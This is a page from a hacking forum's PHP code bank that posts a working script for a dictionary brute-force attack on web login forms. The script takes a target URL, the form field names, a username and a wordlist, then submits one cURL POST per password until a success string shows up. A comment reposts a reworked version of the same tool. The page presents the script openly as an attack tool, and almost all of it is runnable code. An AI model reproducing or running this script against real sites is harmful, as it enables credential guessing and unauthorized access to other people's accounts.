Welcome to HBH! If you had an account on hellboundhacker.org you will need to reset your password using the Lost Password system before you will be able to login.

Simple HTTP-Login Dictionary attack - PHP Code Bank

  1. Home
  2. Code Bank
  3. PHP
  4. Simple HTTP-Login Dictionary attack

Simple HTTP-Login Dictionary attack
Reacts on a positive login. 
                <html>
	<head>
		<title> Oskyldig </title>	
	</head>
<body>

<FORM action=\"<?php echo $_SERVER[\'PHP_SELF\']; ?>\" method=\"POST\">
LINK:                                    Examples:<br />
<input type=\"text\" name=\"link\">         \"http://site.com/index.php\" \"http://192.168.1.100/index.php<br />
					<br />
FORM USERNAME FIELD: 			<br />
<input type=\"text\" name=\"fuser\">        \"username\" \"users\" \"anv\" \"user_login\"<br />

FORM PASSWORD FIELD: 			<br />
<input type=\"text\" name=\"fpass\">        \"password\" \"pass\" \"password_login\"<br />

OPTIONAL POSTDATA: 			<br />
<input type=\"text\" name=\"pdata\">        \"submit=send\" \"login=true\"<br />
					<br />
USERNAME: 				<br />
<input type=\"text\" name=\"username\">     \"Admin\" \"Heaton\" \"Mario\"<br />

CORRECT LOGIN VALUE:			<br />
<input type=\"text\" name=\"correct\">      \"Welcome Admin\" \"You have logged in\"<br />

DICTIONARY FILENAME:			<br />
<input type=\"file\" name=\"userfile\" >    \"/root/wordlist\" \"c:\\wordlist.txt\"<br />

<input type=\"submit\" value=\"ATTAAACK!\" name =\"submit\">
</form>


<?php

function get_url_contents($url,$fuser,$username,$fpass,$password,$pdata)
{
        $crl = curl_init();
        $timeout = 5;
        curl_setopt ($crl, CURLOPT_URL,$url);

	curl_setopt ($crl, CURLOPT_POSTFIELDS,
						$fuser 
						. \"=\" 
						. $username 
						. \"&\" 
						. $fpass 
						. \"=\" 
						. $password  
						. \"&\"
						. $pdata
						);
       
	curl_setopt ($crl, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt ($crl, CURLOPT_CONNECTTIMEOUT, $timeout);
        $ret = curl_exec($crl);
        curl_close($crl);
        return $ret;
}

if(isset($_POST[\'submit\']))
	{
	$link		= 	$_POST[\"link\"];
	$fuser	 	= 	$_POST[\"fuser\"];
	$fpass 		= 	$_POST[\"fpass\"];
	$pdata 		= 	$_POST[\"pdata\"];
	$username 	= 	$_POST[\"username\"];
	$correct 	= 	$_POST[\"correct\"];
	$userfile 	= 	$_POST[\"userfile\"];

	echo	\"<br />Link: \"		.	$link;
	echo	\"<br />Fuser: \"		.	$fuser;
	echo	\"<br />Fpass: \"		.	$fpass;
	echo	\"<br />Pdata: \"		.	$pdata;
	echo	\"<br />Correct string: \".	$correct;
	echo	\"<br />User: \"		.	$username;
	echo	\"<br />Filename: \"	.	$userfile;
	


	$fp = fopen($userfile,\'r\') or die (\"Can\'t open wordlist-file!\");
	$x = 0;
			while(! feof($fp))
			{
				$password = fgets($fp); 
				$password = rtrim($password);
				$site = get_url_contents($link,$fuser,$username,$fpass,$password,$pdata);

				$pos = strpos($site, $correct);
				$x++;

					if($pos === FALSE) 
					{

					}
					else 
					{
	 				echo \"<br /><br /><br />\";
					echo \"SUCCESS<br />\";
					echo \"Found a valid login! <br />\";
					echo \"Username: \" . $username . \"<br />\";
	 				echo \"Password: \" . $password . \"<br /><br />\";
					echo \"Position in wordlist file: \" . $x;
					fclose($fp);
					break;
					}

				if(feof($fp))
				echo\"<br />Password was not found!\";
			}
}

?>	
</body>
</html>

daiiani avatardaiiani
Comments
killgooglecom's avatar
killgooglecom 11 years ago

The slashes comment alot of crap out.:vamp: The server must have Curl enabled to work. Better version: <html> <head> <title> Oskyldig </title> </head> <body>

<FORM action="<?php $_SERVER['PHP_SELF']; ?>" method="POST"> LINK:<br /> <input type="text" name="link"> <br /> "http://site.com/index.php" "http://192.168.1.100/index.php<br /><br />

FORM USERNAME FIELD: <br /> <input type="text" name="fuser"> <br /> "username" "users" "anv" "user_login"<br /><br />

FORM PASSWORD FIELD: <br /> <input type="text" name="fpass"><br /> "password" "pass" "password_login"<br /><br />

OPTIONAL POSTDATA: <br /> <input type="text" name="pdata"><br /> "submit=send" "login=true"<br /><br />

USERNAME: <br /> <input type="text" name="username"> <br />
"Admin" "Heaton" "Mario"<br /><br />

CORRECT LOGIN VALUE: <br /> <input type="text" name="correct"> <br />
"Welcome Admin" "You have logged in"<br /><br />

DICTIONARY FILENAME: <br /> <input type="file" name="userfile" > <br />
"/root/wordlist" "c:\\wordlist.txt"<br /><br />

<input type="submit" value="ATTAAACK!" name ="submit"> </form>

<?php

function get_url_contents($url,$fuser,$username,$fpass,$password,$pdata) { $crl = curl_init(); $timeout = 5; curl_setopt ($crl, CURLOPT_URL,$url);

curl_setopt ($crl, CURLOPT_POSTFIELDS,
					$fuser 
					. &quot;=&quot; 
					. $username 
					. &quot;&&quot; 
					. $fpass 
					. &quot;=&quot; 
					. $password  
					. &quot;&&quot;
					. $pdata
					);

curl_setopt ($crl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($crl, CURLOPT_CONNECTTIMEOUT, $timeout);
    $ret = curl_exec($crl);
    curl_close($crl);
    return $ret;

}

if(isset($_POST['submit'])) { $link = $_POST["link"]; $fuser = $_POST["fuser"]; $fpass = $_POST["fpass"]; $pdata = $_POST["pdata"]; $username = $_POST["username"]; $correct = $_POST["correct"]; $userfile = $_POST["userfile"];

echo	&quot;&lt;br /&gt;Link: &quot;		.	$link;
echo	&quot;&lt;br /&gt;Fuser: &quot;		.	$fuser;
echo	&quot;&lt;br /&gt;Fpass: &quot;		.	$fpass;
echo	&quot;&lt;br /&gt;Pdata: &quot;		.	$pdata;
echo	&quot;&lt;br /&gt;Correct string: &quot;.	$correct;
echo	&quot;&lt;br /&gt;User: &quot;		.	$username;
echo	&quot;&lt;br /&gt;Filename: &quot;	.	$userfile;



$fp = fopen($userfile,&#39;r&#39;) or die (&quot;Can&#39;t open wordlist-file!&quot;);
$x = 0;
		while(! feof($fp))
		{
			$password = fgets($fp); 
			$password = rtrim($password);
			$site = get_url_contents($link,$fuser,$username,$fpass,$password,$pdata);

			$pos = strpos($site, $correct);
			$x++;

				if($pos === FALSE) 
				{

				}
				else 
				{
 				echo &quot;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&quot;;
				echo &quot;SUCCESS&lt;br /&gt;&quot;;
				echo &quot;Found a valid login! &lt;br /&gt;&quot;;
				echo &quot;Username: &quot; . $username . &quot;&lt;br /&gt;&quot;;
 				echo &quot;Password: &quot; . $password . &quot;&lt;br /&gt;&lt;br /&gt;&quot;;
				echo &quot;Position in wordlist file:&quot; . $x;
				fclose($fp);
				break;
				}

			if(feof($fp))
			echo&quot;&lt;br /&gt;Password was not found!&quot;;
		}

}

?> </body> </html>